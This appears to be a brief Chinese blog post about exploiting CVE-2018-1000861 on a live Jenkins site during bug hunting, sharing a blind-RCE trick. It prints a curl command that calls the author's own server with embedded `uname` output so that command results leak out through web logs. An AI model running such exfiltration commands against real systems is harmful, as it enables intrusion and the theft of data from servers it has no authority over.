今天在挖洞的时候碰到一个jenkins的站点,老版本了,存在RCE,CVE版本号为CVE-2018-1000861
由于是实战,所以就不描述详细过程了,最后并没有成功弹回shell..但也证明确实有RCE。
中间出现个小插曲,学习到了一个比较骚的技巧。
因为该RCE比较特殊,并不出现回显。所以求救了师哥,师哥给了一个命令拼接的技巧:
curl xxx.xxx.xxx.xxx/$(uname -a | awk '{print $1}')"
这条命令拼接了两处,第一处便是curl下我的一个vps服务器的80端口,第二处是显示内核版本。从服务器的web日志文件中看下效果:

发现操作系统的版本被拼接输出到后面,在面对没有回显的RCE或者CSRF都可以使用这个技巧。
网友评论